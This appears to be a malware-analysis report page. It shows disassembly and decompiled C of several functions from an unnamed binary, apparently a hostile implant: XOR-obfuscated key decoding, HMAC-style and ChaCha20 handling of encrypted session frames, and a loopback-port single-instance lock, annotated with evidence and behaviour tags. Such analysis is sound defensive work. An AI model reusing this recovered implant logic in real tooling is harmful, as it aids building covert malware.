Assembly · 104 instructions, 2 annotated, 1 cited
AddressBytesInstructionComment
0041215b80 3d 9e c5 21 00 01CMP byte ptr [DAT_0062e700],0x1; E15
004121620f 85 5d 01 00 00JNZ LAB_004122c5
0041216841 57PUSH R15
0041216a41 56PUSH R14
0041216c41 55PUSH R13
0041216e41 54PUSH R12
0041217055PUSH RBP
0041217153PUSH RBX
0041217248 89 cbMOV RBX,RCX
0041217548 83 ec 18SUB RSP,0x18
0041217948 85 c9TEST RCX,RCX
0041217c75 08JNZ LAB_00412186
LAB_0041217e:
0041217e83 c8 ffOR EAX,0xffffffff
00412181e9 30 01 00 00JMP LAB_004122b6
LAB_00412186:
0041218649 89 f4MOV R12,RSI
004121890f b7 35 18 c6 21 00MOVZX ESI,word ptr [DAT_0062e7a8]
0041219066 81 fe ff 07CMP SI,0x7ff
0041219577 e7JA LAB_0041217e
0041219748 89 d5MOV RBP,RDX
0041219a4c 8d 2d 09 c6 21 00LEA R13,[DAT_0062e7aa]
004121a1ba 00 08 00 00MOV EDX,0x800
004121a6b9 40 40 00 00MOV ECX,0x4040
004121ab48 29 f2SUB RDX,RSI
004121ae4c 01 eeADD RSI,R13
004121b1e8 36 8f 00 00CALL FUN_0041b0ec
004121b648 85 c0TEST RAX,RAX
004121b979 0cJNS LAB_004121c7
004121bbe8 7c 5a 00 00CALL FUN_00417c3c
004121c083 38 0bCMP dword ptr [RAX],0xb
004121c375 b9JNZ LAB_0041217e
004121c5eb 09JMP LAB_004121d0
LAB_004121c7:
004121c774 b5JZ LAB_0041217e
004121c966 01 05 d8 c5 21 00ADD word ptr [DAT_0062e7a8],AX
LAB_004121d0:
004121d045 31 f6XOR R14D,R14D
LAB_004121d3:
004121d30f b7 05 ce c5 21 00MOVZX EAX,word ptr [DAT_0062e7a8]
004121da49 8d 56 15LEA RDX,[R14 + 0x15]
004121de48 39 c2CMP RDX,RAX
004121e177 46JA LAB_00412229
004121e34b 8d 54 35 00LEA RDX,[R13 + R14*0x1]
004121e880 3d 12 c5 21 00 00CMP byte ptr [DAT_0062e701],0x0
004121efbf 05 00 00 00MOV EDI,0x5
004121f448 89 54 24 08MOV qword ptr [RSP + local_40],RDX
004121f944 8a 3aMOV R15B,byte ptr [RDX]
004121fc75 05JNZ LAB_00412203
004121febf 02 00 00 00MOV EDI,0x2
LAB_00412203:
00412203e8 c1 00 00 00CALL FUN_004122c9
0041220848 8b 54 24 08MOV RDX,qword ptr [RSP + local_40]
0041220d44 38 f8CMP AL,R15B
0041221074 09JZ LAB_0041221b
004122124d 8d 7e 01LEA R15,[R14 + 0x1]
00412216e9 83 00 00 00JMP LAB_0041229e
LAB_0041221b:
0041221b66 8b 4a 01MOV CX,word ptr [RDX + 0x1]
0041221f86 e9XCHG CL,CH
004122210f b7 c9MOVZX ECX,CX
0041222448 39 cdCMP RBP,RCX
0041222773 0fJNC LAB_00412238
LAB_00412229:
004122294d 85 f6TEST R14,R14
0041222c74 78JZ LAB_004122a6
0041222e4c 89 f7MOV RDI,R14
00412231e8 a8 f5 ff ffCALL FUN_004117de
00412236eb 6eJMP LAB_004122a6
LAB_00412238:
0041223848 83 c1 15ADD RCX,0x15
0041223c0f b7 05 65 c5 21 00MOVZX EAX,word ptr [DAT_0062e7a8]
004122434d 8d 3c 0eLEA R15,[R14 + RCX*0x1]
0041224749 39 c7CMP R15,RAX
0041224a77 ddJA LAB_00412229
0041224c0f b7 42 03MOVZX EAX,word ptr [RDX + 0x3]
0041225048 3b 05 49 c5 21 00CMP RAX,qword ptr [DAT_0062e7a0]
0041225774 06JZ LAB_0041225f
0041225972 43JC LAB_0041229e
0041225b31 c0XOR EAX,EAX
0041225deb 57JMP LAB_004122b6
LAB_0041225f:
0041225f4c 8d 0d 3a c5 21 00LEA R9,[DAT_0062e7a0]
0041226680 3d 94 c4 21 00 00CMP byte ptr [DAT_0062e701],0x0
0041226d48 89 eeMOV RSI,RBP
004122704c 89 e7MOV RDI,R12
004122734d 8d 41 d1LEA R8,[R9 + -0x2f]
0041227774 07JZ LAB_00412280
00412279e8 5a 08 00 00CALL FUN_00412ad8; FUN_00412ad8: unknown
0041227eeb 05JMP LAB_00412285
LAB_00412280:
00412280e8 8b fd ff ffCALL FUN_00412010
LAB_00412285:
0041228585 c0TEST EAX,EAX
004122870f 88 f1 fe ff ffJS LAB_0041217e
0041228d89 03MOV dword ptr [RBX],EAX
0041228f4c 89 ffMOV RDI,R15
00412292e8 47 f5 ff ffCALL FUN_004117de
00412297b8 01 00 00 00MOV EAX,0x1
0041229ceb 18JMP LAB_004122b6
LAB_0041229e:
0041229e4d 89 feMOV R14,R15
004122a1e9 2d ff ff ffJMP LAB_004121d3
LAB_004122a6:
004122a631 c0XOR EAX,EAX
004122a866 81 3d f7 c4 21 00 ff …CMP word ptr [DAT_0062e7a8],0x7ff
004122b10f 97 c0SETA AL
004122b4f7 d8NEG EAX
LAB_004122b6:
004122b648 83 c4 18ADD RSP,0x18
004122ba5bPOP RBX
004122bb5dPOP RBP
004122bc41 5cPOP R12
004122be41 5dPOP R13
004122c041 5ePOP R14
004122c241 5fPOP R15
004122c4c3RET
LAB_004122c5:
004122c583 c8 ffOR EAX,0xffffffff
004122c8c3RET

unknown

0x412385363 bytes
undefined unknown()
Cited as
E16
Behaviours
B6
Called from
FUN_00412649
Calls
FUN_0040caad, FUN_00411056, FUN_00412374
Decompiled C · 90 lines
void unknown(void)

{
  undefined *puVar1;
  undefined **ppuVar2;
  ulong uVar3;
  byte bVar4;
  char cVar5;
  long lVar6;
  long lVar7;
  byte bVar8;
  undefined **ppuVar9;
  uint local_78;
  undefined4 uStack_74;
  undefined4 uStack_70;
  undefined4 uStack_6c;
  undefined4 local_68;
  undefined4 uStack_64;
  undefined4 uStack_60;
  uint uStack_5c;
  uint local_58;
  undefined4 uStack_54;
  undefined4 uStack_50;
  undefined4 uStack_4c;
  undefined4 local_48;
  undefined4 uStack_44;
  undefined4 uStack_40;
  uint uStack_3c;
  byte local_38 [32];
  
  ppuVar2 = &PTR_DAT_0062af20;
  ppuVar9 = &PTR_DAT_0062af80;
  do {
    cVar5 = *(char *)((long)ppuVar2 + 9);
    bVar4 = *(byte *)(ppuVar2 + 1);
    puVar1 = *ppuVar2;
    lVar7 = 0;
    do {
      lVar6 = lVar7 + 1;
      bVar8 = puVar1[lVar7] ^ bVar4;
      bVar4 = bVar4 + cVar5;
      local_38[lVar7] = bVar8;
      lVar7 = lVar6;
    } while (lVar6 != 0x20);
    lVar7 = 0;
    do {
      lVar7 = lVar7 + 1;
    } while (lVar7 != 0x20);
    ppuVar2 = (undefined **)FUN_00412374(local_38,0x20);
  } while (ppuVar2 != ppuVar9);
  cVar5 = '.';
  do {
    cVar5 = cVar5 + '\x11';
  } while (cVar5 != '>');
  cVar5 = 'M';
  do {
    cVar5 = cVar5 + '\r';
  } while (cVar5 != '\x1d');
  uVar3 = FUN_0040caad();
  if ((uVar3 & 7) == 0) {
    uVar3 = FUN_0040caad();
    uVar3 = (uVar3 & 0xffffffff) % 6;
    lVar7 = uVar3 * 0x10;
    lVar6 = 0;
    cVar5 = (&DAT_0062aec9)[lVar7];
    bVar4 = (&DAT_0062aec8)[lVar7];
    puVar1 = (&PTR_DAT_0062aec0)[uVar3 * 2];
    do {
      bVar8 = puVar1[lVar6] ^ bVar4;
      bVar4 = bVar4 + cVar5;
      *(byte *)((long)&local_78 + lVar6) = bVar8;
      lVar6 = lVar6 + 1;
    } while (lVar6 != 0x20);
    local_48 = local_68;
    uStack_44 = uStack_64;
    uStack_40 = uStack_60;
    uStack_54 = uStack_74;
    uStack_50 = uStack_70;
    uStack_4c = uStack_6c;
    local_58 = local_78 & 0xfffffff8;
    uStack_3c = uStack_5c & 0x7fffffff | 0x40000000;
    FUN_00411056(local_38,&local_58);
    FUN_00412374(&local_78,0x20);
    FUN_00412374(&local_58,0x20);
    FUN_00412374(local_38,0x20);
  }
  return;
}

Assembly · 103 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
0041238541 55PUSH R13; E16
0041238748 8d 05 92 8b 21 00LEA RAX,[PTR_DAT_0062af20]
0041238e41 54PUSH R12
004123904c 8d 40 60LEA R8,[RAX + 0x60]
0041239455PUSH RBP
0041239548 83 ec 70SUB RSP,0x70
00412399c6 44 24 0f 00MOV byte ptr [RSP + local_79],0x0
0041239e48 8d 6c 24 50LEA RBP,[RSP + 0x50]
LAB_004123a3:
004123a340 8a 70 09MOV SIL,byte ptr [RAX + 0x9]
004123a78a 48 08MOV CL,byte ptr [RAX + 0x8]
004123aa31 d2XOR EDX,EDX
004123ac4c 8b 08MOV R9,qword ptr [RAX]
LAB_004123af:
004123af41 8a 3c 11MOV DIL,byte ptr [R9 + RDX*0x1]
004123b348 ff c2INC RDX
004123b631 cfXOR EDI,ECX
004123b801 f1ADD ECX,ESI
004123ba40 88 7c 2a ffMOV byte ptr [RDX + RBP*0x1 + -0x1],DIL
004123bf48 83 fa 20CMP RDX,0x20
004123c375 eaJNZ LAB_004123af
004123c531 d2XOR EDX,EDX
LAB_004123c7:
004123c78a 4c 24 0fMOV CL,byte ptr [RSP + local_79]
004123cb32 4c 15 00XOR CL,byte ptr [RBP + RDX*0x1]
004123cf48 ff c2INC RDX
004123d288 4c 24 0fMOV byte ptr [RSP + local_79],CL
004123d648 83 fa 20CMP RDX,0x20
004123da75 ebJNZ LAB_004123c7
004123dcbe 20 00 00 00MOV ESI,0x20
004123e148 89 efMOV RDI,RBP
004123e448 83 c0 10ADD RAX,0x10
004123e8e8 87 ff ff ffCALL FUN_00412374
004123ed4c 39 c0CMP RAX,R8
004123f075 b1JNZ LAB_004123a3
004123f248 8d 0d d7 62 01 00LEA RCX,[DAT_004286d0]
004123f9b2 2eMOV DL,0x2e
LAB_004123fb:
004123fb8a 44 24 0fMOV AL,byte ptr [RSP + local_79]
004123ff48 ff c1INC RCX
0041240231 d0XOR EAX,EDX
0041240483 c2 11ADD EDX,0x11
0041240732 41 ffXOR AL,byte ptr [RCX + -0x1]
0041240a88 44 24 0fMOV byte ptr [RSP + local_79],AL
0041240e80 fa 3eCMP DL,0x3e
0041241175 e8JNZ LAB_004123fb
0041241348 8d 0d a6 62 01 00LEA RCX,[DAT_004286c0]
0041241ab2 4dMOV DL,0x4d
LAB_0041241c:
0041241c8a 44 24 0fMOV AL,byte ptr [RSP + local_79]
0041242048 ff c1INC RCX
0041242331 d0XOR EAX,EDX
0041242583 c2 0dADD EDX,0xd
0041242832 41 ffXOR AL,byte ptr [RCX + -0x1]
0041242b88 44 24 0fMOV byte ptr [RSP + local_79],AL
0041242f80 fa 1dCMP DL,0x1d
0041243275 e8JNZ LAB_0041241c
004124348a 44 24 0fMOV AL,byte ptr [RSP + local_79]
00412438e8 70 a6 ff ffCALL FUN_0040caad
0041243da8 07TEST AL,0x7
0041243f0f 85 a1 00 00 00JNZ LAB_004124e6
00412445e8 63 a6 ff ffCALL FUN_0040caad
0041244ab9 06 00 00 00MOV ECX,0x6
0041244f31 d2XOR EDX,EDX
00412451f7 f1DIV ECX
0041245389 d0MOV EAX,EDX
0041245548 8d 15 64 8a 21 00LEA RDX,[PTR_DAT_0062aec0]
0041245c48 c1 e0 04SHL RAX,0x4
0041246048 01 c2ADD RDX,RAX
0041246331 c0XOR EAX,EAX
0041246540 8a 72 09MOV SIL,byte ptr [RDX + 0x9]
004124698a 4a 08MOV CL,byte ptr [RDX + 0x8]
0041246c48 8b 3aMOV RDI,qword ptr [RDX]
LAB_0041246f:
0041246f8a 14 07MOV DL,byte ptr [RDI + RAX*0x1]
004124724c 8d 6c 24 10LEA R13,[RSP + 0x10]
0041247731 caXOR EDX,ECX
0041247901 f1ADD ECX,ESI
0041247b88 54 04 10MOV byte ptr [RSP + RAX*0x1 + local_78[1]],DL
0041247f48 ff c0INC RAX
0041248248 83 f8 20CMP RAX,0x20
0041248675 e7JNZ LAB_0041246f
004124880f 10 4c 24 20MOVUPS XMM1,xmmword ptr [RSP + local_68[0]]
0041248d0f 10 44 24 10MOVUPS XMM0,xmmword ptr [RSP + local_78[0]]
004124924c 8d 64 24 30LEA R12,[RSP + 0x30]
0041249748 89 efMOV RDI,RBP
0041249a4c 89 e6MOV RSI,R12
0041249d0f 11 4c 24 40MOVUPS xmmword ptr [RSP + local_48[0]],XMM1
004124a28a 44 24 4fMOV AL,byte ptr [RSP + local_48[15]]
004124a60f 11 44 24 30MOVUPS xmmword ptr [RSP + local_58[0]],XMM0
004124ab83 e0 7fAND EAX,0x7f
004124ae80 64 24 30 f8AND byte ptr [RSP + local_58[0]],0xf8
004124b383 c8 40OR EAX,0x40
004124b688 44 24 4fMOV byte ptr [RSP + local_48[15]],AL
004124bae8 97 eb ff ffCALL FUN_00411056
004124bfbe 20 00 00 00MOV ESI,0x20
004124c44c 89 efMOV RDI,R13
004124c7e8 a8 fe ff ffCALL FUN_00412374
004124ccbe 20 00 00 00MOV ESI,0x20
004124d14c 89 e7MOV RDI,R12
004124d4e8 9b fe ff ffCALL FUN_00412374
004124d9be 20 00 00 00MOV ESI,0x20
004124de48 89 efMOV RDI,RBP
004124e1e8 8e fe ff ffCALL FUN_00412374
LAB_004124e6:
004124e648 83 c4 70ADD RSP,0x70
004124ea5dPOP RBP
004124eb41 5cPOP R12
004124ed41 5dPOP R13
004124efc3RET

unknown

0x412677264 bytes
undefined unknown()
Cited as
E16
Behaviours
B6
Called from
FUN_004129d6, FUN_00412ad8
Calls
thunk_FUN_00411241
Decompiled C · 98 lines
void unknown(undefined4 *param_1,undefined8 param_2,undefined1 *param_3,long param_4,
                 undefined8 *param_5)

{
  ulong uVar1;
  long lVar2;
  byte *pbVar3;
  undefined4 *puVar4;
  undefined4 *puVar5;
  byte bVar6;
  undefined4 local_248;
  undefined4 uStack_244;
  undefined4 uStack_240;
  undefined4 uStack_23c;
  undefined4 local_238;
  undefined4 uStack_234;
  undefined4 uStack_230;
  undefined4 uStack_22c;
  byte local_228 [64];
  byte local_1e8 [64];
  undefined4 local_1a8;
  undefined4 uStack_1a4;
  undefined4 uStack_1a0;
  undefined4 uStack_19c;
  undefined4 local_198;
  undefined4 uStack_194;
  undefined4 uStack_190;
  undefined4 uStack_18c;
  undefined4 local_188 [8];
  undefined4 local_168 [16];
  undefined4 local_128;
  undefined4 uStack_124;
  undefined4 uStack_120;
  undefined4 uStack_11c;
  undefined4 local_118;
  undefined4 uStack_114;
  undefined4 uStack_110;
  undefined4 uStack_10c;
  
  bVar6 = 0;
  local_198 = param_1[4];
  uStack_194 = param_1[5];
  uStack_190 = param_1[6];
  uStack_18c = param_1[7];
  local_1a8 = *param_1;
  uStack_1a4 = param_1[1];
  uStack_1a0 = param_1[2];
  uStack_19c = param_1[3];
  puVar5 = local_188;
  for (lVar2 = 8; lVar2 != 0; lVar2 = lVar2 + -1) {
    *puVar5 = 0;
    puVar5 = puVar5 + 1;
  }
  lVar2 = 0;
  do {
    local_1e8[lVar2] = *(byte *)((long)&local_1a8 + lVar2) ^ 0x5c;
    local_228[lVar2] = *(byte *)((long)&local_1a8 + lVar2) ^ 0x36;
    lVar2 = lVar2 + 1;
  } while (lVar2 != 0x40);
  uVar1 = param_4 + 0x40;
  if (uVar1 < 0x141) {
    puVar5 = &local_128;
    pbVar3 = local_228;
    puVar4 = local_168;
    for (lVar2 = 0x10; lVar2 != 0; lVar2 = lVar2 + -1) {
      *puVar4 = *(undefined4 *)pbVar3;
      pbVar3 = pbVar3 + 4;
      puVar4 = puVar4 + 1;
    }
    for (; param_4 != 0; param_4 = param_4 + -1) {
      *(undefined1 *)puVar5 = *param_3;
      param_3 = param_3 + 1;
      puVar5 = (undefined4 *)((long)puVar5 + 1);
    }
    thunk_FUN_00411241(local_168,uVar1,&local_248);
    pbVar3 = local_1e8;
    puVar5 = local_168;
    for (lVar2 = 0x10; lVar2 != 0; lVar2 = lVar2 + -1) {
      *puVar5 = *(undefined4 *)pbVar3;
      pbVar3 = pbVar3 + ((ulong)bVar6 * -2 + 1) * 4;
      puVar5 = puVar5 + (ulong)bVar6 * -2 + 1;
    }
    local_128 = local_248;
    uStack_124 = uStack_244;
    uStack_120 = uStack_240;
    uStack_11c = uStack_23c;
    local_118 = local_238;
    uStack_114 = uStack_234;
    uStack_110 = uStack_230;
    uStack_10c = uStack_22c;
    thunk_FUN_00411241(local_168,0x60,&local_248);
    *param_5 = CONCAT44(uStack_244,local_248);
    param_5[1] = CONCAT44(uStack_23c,uStack_240);
  }
  return;
}

Assembly · 67 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
0041267741 55PUSH R13; E16
0041267949 89 faMOV R10,RDI
0041267c31 c0XOR EAX,EAX
0041267e49 89 d1MOV R9,RDX
0041268141 54PUSH R12
0041268348 89 caMOV RDX,RCX
00412686b9 08 00 00 00MOV ECX,0x8
0041268b4d 89 c4MOV R12,R8
0041268e55PUSH RBP
0041268f53PUSH RBX
0041269048 81 ec 28 02 00 00SUB RSP,0x228
0041269741 0f 10 02MOVUPS XMM0,xmmword ptr [R10]
0041269b41 0f 10 4a 10MOVUPS XMM1,xmmword ptr [R10 + 0x10]
004126a048 8d b4 24 c0 00 00 00LEA RSI,[RSP + 0xc0]
004126a848 89 f7MOV RDI,RSI
004126ab0f 29 84 24 a0 00 00 00MOVAPS xmmword ptr [RSP + local_1a8[0]],XMM0
004126b3f3 abSTOSD.REP RDI
004126b50f 29 8c 24 b0 00 00 00MOVAPS xmmword ptr [RSP + local_198[0]],XMM1
004126bd31 c0XOR EAX,EAX
LAB_004126bf:
004126bf8a 8c 04 a0 00 00 00MOV CL,byte ptr [RSP + RAX*0x1 + local_1a8[1]]
004126c648 8d 74 24 20LEA RSI,[RSP + 0x20]
004126cb48 8d 5c 24 60LEA RBX,[RSP + 0x60]
004126d089 cfMOV EDI,ECX
004126d283 f1 5cXOR ECX,0x5c
004126d583 f7 36XOR EDI,0x36
004126d888 4c 04 60MOV byte ptr [RSP + RAX*0x1 + local_1e7],CL
004126dc40 88 7c 04 20MOV byte ptr [RSP + RAX*0x1 + local_227],DIL
004126e148 ff c0INC RAX
004126e448 83 f8 40CMP RAX,0x40
004126e875 d5JNZ LAB_004126bf
004126ea4c 8d 42 40LEA R8,[RDX + 0x40]
004126ee49 81 f8 40 01 00 00CMP R8,0x140
004126f577 7aJA LAB_00412771
004126f748 8d 84 24 20 01 00 00LEA RAX,[RSP + 0x120]
004126ffb9 10 00 00 00MOV ECX,0x10
0041270449 89 e5MOV R13,RSP
0041270748 8d bc 24 e0 00 00 00LEA RDI,[RSP + 0xe0]
0041270f48 8d ac 24 e0 00 00 00LEA RBP,[RSP + 0xe0]
00412717f3 a5MOVSD.REP RDI,RSI
0041271948 89 c7MOV RDI,RAX
0041271c4c 89 ceMOV RSI,R9
0041271f48 89 d1MOV RCX,RDX
00412722f3 a4MOVSB.REP RDI,RSI
004127244c 89 eaMOV RDX,R13
004127274c 89 c6MOV RSI,R8
0041272a48 89 efMOV RDI,RBP
0041272de8 08 f2 ff ffCALL thunk_FUN_00411241
00412732b9 10 00 00 00MOV ECX,0x10
0041273748 89 efMOV RDI,RBP
0041273a48 89 deMOV RSI,RBX
0041273df3 a5MOVSD.REP RDI,RSI
0041273f0f 28 14 24MOVAPS XMM2,xmmword ptr [RSP]
004127430f 28 5c 24 10MOVAPS XMM3,xmmword ptr [RSP + local_238[0]]
004127484c 89 eaMOV RDX,R13
0041274bbe 60 00 00 00MOV ESI,0x60
0041275048 89 efMOV RDI,RBP
004127530f 29 94 24 20 01 00 00MOVAPS xmmword ptr [RSP + local_128[0]],XMM2
0041275b0f 29 9c 24 30 01 00 00MOVAPS xmmword ptr [RSP + local_118[0]],XMM3
00412763e8 d2 f1 ff ffCALL thunk_FUN_00411241
004127680f 28 24 24MOVAPS XMM4,xmmword ptr [RSP]
0041276c41 0f 11 24 24MOVUPS xmmword ptr [R12],XMM4
LAB_00412771:
0041277148 81 c4 28 02 00 00ADD RSP,0x228
004127785bPOP RBX
004127795dPOP RBP
0041277a41 5cPOP R12
0041277c41 5dPOP R13
0041277ec3RET

verifies a received session frame

0x412ad8309 bytes
undefined FUN_00412ad8()

verifies a received session frame (header, sequence, 16-byte tag with a derived MAC key) and ChaCha20-decrypts it

Cited as
E32
Behaviours
B6
Called from
FUN_0041215b
Calls
FUN_0040d6c6, thunk_FUN_004113bd, FUN_004122c9, FUN_004124f0, FUN_0041266c, unknown
Decompiled C · 36 lines
ulong FUN_00412ad8(undefined8 param_1,ulong param_2,char *param_3,ulong param_4,undefined8 param_5,
                  ulong *param_6)

{
  char cVar1;
  ushort uVar2;
  char cVar3;
  ushort uVar4;
  int iVar5;
  ulong uVar6;
  undefined1 local_74 [12];
  undefined1 local_68 [16];
  undefined1 local_58 [40];
  
  if (((0x14 < param_4 && param_6 != (ulong *)0x0) && (param_3 != (char *)0x0)) &&
     (cVar1 = *param_3, cVar3 = FUN_004122c9(5), cVar1 == cVar3)) {
    uVar2 = *(ushort *)(param_3 + 3);
    uVar4 = CONCAT11((char)*(undefined2 *)(param_3 + 1),
                     (char)((ushort)*(undefined2 *)(param_3 + 1) >> 8));
    uVar6 = (ulong)uVar4;
    if (((*param_6 == (ulong)uVar2) && (uVar6 + 0x15 <= param_4)) && (uVar6 <= param_2)) {
      thunk_FUN_004113bd(param_5,0x20,&DAT_004287cc,6,local_58,0x20);
      unknown(local_58,0x20,param_3,uVar6 + 5);
      iVar5 = FUN_004124f0(local_68,param_3 + uVar6 + 5,0x10);
      if (iVar5 != 0) {
        FUN_0041266c(local_74,(ulong)uVar2,local_74,param_3 + 5,param_1);
        FUN_0040d6c6(param_5,1);
        *param_6 = *param_6 + 1;
        return (ulong)uVar4;
      }
    }
  }
  return 0xffffffff;
}

Assembly · 87 instructions, 2 annotated, 1 cited
AddressBytesInstructionComment
00412ad841 57PUSH R15; E32
00412ada49 89 cfMOV R15,RCX
00412add41 56PUSH R14
00412adf41 55PUSH R13
00412ae141 54PUSH R12
00412ae355PUSH RBP
00412ae453PUSH RBX
00412ae548 83 ec 68SUB RSP,0x68
00412ae948 83 f9 14CMP RCX,0x14
00412aed0f 96 c0SETBE AL
00412af04d 85 c9TEST R9,R9
00412af348 89 74 24 10MOV qword ptr [RSP + local_88],RSI
00412af80f 94 c1SETZ CL
00412afb08 c8OR AL,CL
00412afd75 08JNZ LAB_00412b07
00412aff48 89 d3MOV RBX,RDX
00412b0248 85 d2TEST RDX,RDX
00412b0575 09JNZ LAB_00412b10
LAB_00412b07:
00412b0741 83 cf ffOR R15D,0xffffffff
00412b0be9 eb 00 00 00JMP LAB_00412bfb
LAB_00412b10:
00412b1040 8a 2aMOV BPL,byte ptr [RDX]
00412b1349 89 feMOV R14,RDI
00412b16bf 05 00 00 00MOV EDI,0x5
00412b1b4d 89 c5MOV R13,R8
00412b1e4d 89 ccMOV R12,R9
00412b21e8 a3 f7 ff ffCALL FUN_004122c9
00412b2640 38 c5CMP BPL,AL
00412b2975 dcJNZ LAB_00412b07
00412b2b66 8b 43 01MOV AX,word ptr [RBX + 0x1]
00412b2f0f b7 6b 03MOVZX EBP,word ptr [RBX + 0x3]
00412b3386 e0XCHG AL,AH
00412b3566 89 44 24 0eMOV word ptr [RSP + local_8a],AX
00412b3a0f b7 c0MOVZX EAX,AX
00412b3d49 39 2c 24CMP qword ptr [R12],RBP
00412b4175 c4JNZ LAB_00412b07
00412b4348 8d 48 15LEA RCX,[RAX + 0x15]
00412b474c 39 f9CMP RCX,R15
00412b4a77 bbJA LAB_00412b07
00412b4c48 3b 44 24 10CMP RAX,qword ptr [RSP + local_88]
00412b5148 89 44 24 10MOV qword ptr [RSP + local_88],RAX
00412b5677 afJA LAB_00412b07
00412b584c 8d 7c 24 40LEA R15,[RSP + 0x40]
00412b5d41 b9 20 00 00 00MOV R9D,0x20
00412b634c 89 efMOV RDI,R13
00412b66b9 06 00 00 00MOV ECX,0x6
00412b6b4d 89 f8MOV R8,R15
00412b6e48 8d 15 57 5c 01 00LEA RDX,[DAT_004287cc]
00412b75be 20 00 00 00MOV ESI,0x20
00412b7ae8 c0 ed ff ffCALL thunk_FUN_004113bd
00412b7f48 8b 44 24 10MOV RAX,qword ptr [RSP + local_88]
00412b8448 89 daMOV RDX,RBX
00412b874c 89 ffMOV RDI,R15
00412b8a4c 8d 44 24 30LEA R8,[RSP + 0x30]
00412b8fbe 20 00 00 00MOV ESI,0x20
00412b9448 83 c0 05ADD RAX,0x5
00412b984c 89 44 24 18MOV qword ptr [RSP + local_80],R8
00412b9d48 89 c1MOV RCX,RAX
00412ba048 89 44 24 10MOV qword ptr [RSP + local_88],RAX
00412ba5e8 cd fa ff ffCALL unknown; → unknown (B6, E16)
00412baa48 8b 44 24 10MOV RAX,qword ptr [RSP + local_88]
00412baf48 8b 7c 24 18MOV RDI,qword ptr [RSP + local_80]
00412bb4ba 10 00 00 00MOV EDX,0x10
00412bb948 8d 34 03LEA RSI,[RBX + RAX*0x1]
00412bbde8 2e f9 ff ffCALL FUN_004124f0
00412bc285 c0TEST EAX,EAX
00412bc40f 84 3d ff ff ffJZ LAB_00412b07
00412bca48 8d 54 24 24LEA RDX,[RSP + 0x24]
00412bcf48 89 eeMOV RSI,RBP
00412bd248 8d 4b 05LEA RCX,[RBX + 0x5]
00412bd64d 89 f0MOV R8,R14
00412bd948 89 d7MOV RDI,RDX
00412bdce8 8b fa ff ffCALL FUN_0041266c
00412be144 0f b7 7c 24 0eMOVZX R15D,word ptr [RSP + local_8a]
00412be7be 01 00 00 00MOV ESI,0x1
00412bec4c 89 efMOV RDI,R13
00412bef45 89 f9MOV R9D,R15D
00412bf2e8 cf aa ff ffCALL FUN_0040d6c6
00412bf749 ff 04 24INC qword ptr [R12]
LAB_00412bfb:
00412bfb48 83 c4 68ADD RSP,0x68
00412bff44 89 f8MOV EAX,R15D
00412c025bPOP RBX
00412c035dPOP RBP
00412c0441 5cPOP R12
00412c0641 5dPOP R13
00412c0841 5ePOP R14
00412c0a41 5fPOP R15
00412c0cc3RET

single-instance lock on a loopback TCP…

0x412d781041 bytes
undefined FUN_00412d78()

single-instance lock on a loopback TCP port

Cited as
E9
Behaviours
B2
Called from
FUN_004001d0, FUN_00412d78
Calls
FUN_004001d0, FUN_0040cb5a, FUN_00412d78, FUN_00417c3c, FUN_00417c6e, FUN_00419669, FUN_00419689, FUN_00419ae7, FUN_00419b08, FUN_00419b0d, FUN_0041a12e, FUN_0041bbdf, FUN_0041bc03, FUN_0041bf98, FUN_0041db41, FUN_0041dd63
Decompiled C · 154 lines
/* WARNING: Type propagation algorithm not settling */

void FUN_00412d78(void)

{
  undefined2 uVar1;
  int iVar2;
  uint uVar3;
  int iVar4;
  int *piVar5;
  long lVar6;
  long *plVar7;
  int iVar8;
  byte bVar9;
  undefined4 local_e4;
  int local_e0 [2];
  undefined8 local_d8;
  undefined8 local_d0;
  undefined2 local_c8;
  undefined2 local_c6;
  int local_c4;
  undefined2 local_b8;
  undefined2 local_b6;
  int local_b4;
  long local_a8 [17];
  
  bVar9 = 0;
  local_e4 = 1;
  if (DAT_0062efd0 < 5) goto LAB_00412da0;
LAB_00412d96:
  FUN_004001d0(1);
LAB_00412da0:
  local_c8 = 2;
  DAT_0062ba28 = -1;
  iVar2 = DAT_0062f0a0;
  if (DAT_0062ba20 != '\0') {
    iVar2 = FUN_00419b08(0x7f000001);
  }
  iVar8 = 0x1a;
  local_c4 = iVar2;
  local_c6 = FUN_00419b0d(0x4d2);
  do {
    DAT_0062ba28 = FUN_0041bc03(2,1,0);
    if (DAT_0062ba28 != -1) {
      FUN_0041bbdf(DAT_0062ba28,1,2,&local_e4,4);
      uVar3 = FUN_00417c6e(DAT_0062ba28,3,0);
      FUN_00417c6e(DAT_0062ba28,4,uVar3 | 0x800);
      iVar4 = FUN_00419669(DAT_0062ba28,&local_c8,0x10);
      iVar2 = DAT_0062ba28;
      if (iVar4 == 0) {
        iVar2 = FUN_0041a12e(DAT_0062ba28,1);
        if (iVar2 == 0) {
          DAT_0062efd0 = 0;
          return;
        }
        FUN_0041db41(DAT_0062ba28);
        DAT_0062ba28 = -1;
      }
      else {
        piVar5 = (int *)FUN_00417c3c();
        if ((*piVar5 == 99) && (DAT_0062ba20 != '\0')) {
          DAT_0062ba20 = '\0';
        }
        FUN_0041db41(iVar2);
        DAT_0062ba28 = -1;
        local_b8 = 2;
        local_b6 = FUN_00419b0d(0x4d2);
        local_b4 = FUN_00419b08(0x7f000001);
        iVar2 = FUN_0041bc03(2,1,0);
        if (iVar2 == -1) {
LAB_00412ff7:
          if ((local_c4 != DAT_0062f0a0) && (iVar2 = FUN_0041bc03(2,1,0), iVar2 != -1)) {
            local_b4 = DAT_0062f0a0;
            uVar3 = FUN_00417c6e(iVar2,3,0);
            if ((uVar3 != 0xffffffff) && (iVar4 = FUN_00417c6e(iVar2,4,uVar3 | 0x800), iVar4 != -1))
            {
              iVar4 = FUN_00419689(iVar2,&local_b8,0x10);
              if (iVar4 == 0) goto LAB_00413102;
              if (*piVar5 == 0x73) {
                local_d8 = 2;
                plVar7 = local_a8;
                for (lVar6 = 0x20; lVar6 != 0; lVar6 = lVar6 + -1) {
                  *(undefined4 *)plVar7 = 0;
                  plVar7 = (long *)((long)plVar7 + ((ulong)bVar9 * -2 + 1) * 4);
                }
                local_d0 = 0;
                local_a8[(ulong)(long)iVar2 >> 6] = 1L << ((byte)iVar2 & 0x3f);
                iVar4 = FUN_0041bf98(iVar2 + 1,0,local_a8,0,&local_d8);
                if (0 < iVar4) {
                  local_e0[0] = 0;
                  local_e0[1] = 4;
                  iVar4 = FUN_00419ae7(iVar2,1,4,local_e0,local_e0 + 1);
